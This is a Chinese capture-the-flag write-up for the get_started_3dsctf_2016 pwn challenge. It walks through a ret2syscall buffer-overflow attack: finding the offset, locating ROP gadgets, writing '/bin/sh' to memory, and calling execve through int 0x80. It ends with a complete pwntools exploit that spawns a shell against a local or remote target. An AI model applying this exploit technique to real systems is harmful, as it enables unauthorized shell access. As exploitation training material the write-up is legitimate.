静态编译,想到ret2syscall。
首先使用cyclic工具计算出了偏移量为56。该题的gets()是外平栈,无需“0xdeadbeef”。
首先找到pop eax:

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "eax"

得到可用结果:0x080b91e6

0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

找pop ebx:

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "ebx"

非常完美的一条^^:

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

接下来找“/bin/sh”

ROPgadget --binary get_started_3dsctf_2016 --string "/bin"

没有结果,需要自己写入。先将"/bin"写入eax里,再挑一个可写入的地址:
2021-07-25_222619.png
这里将"/bin"写入的edx存入的地址,为了让地址可控,使用vmmap命令找一个可写的地址,我这里挑了个比较大的0x080eb020
2021-07-25_221131.png
那么“/sh/x00”需要写在它的后四位。即0x080eb020+4
最后需要填入int 0x80:

ROPgadget --binary get_started_3dsctf_2016 --only "int"

一个结果:

Gadgets information
============================================================
0x0806d7e5 : int 0x80

最终exp如下:

from pwn import *

local = 1
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',29252)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80)
io.sendline(payload)

io.interactive()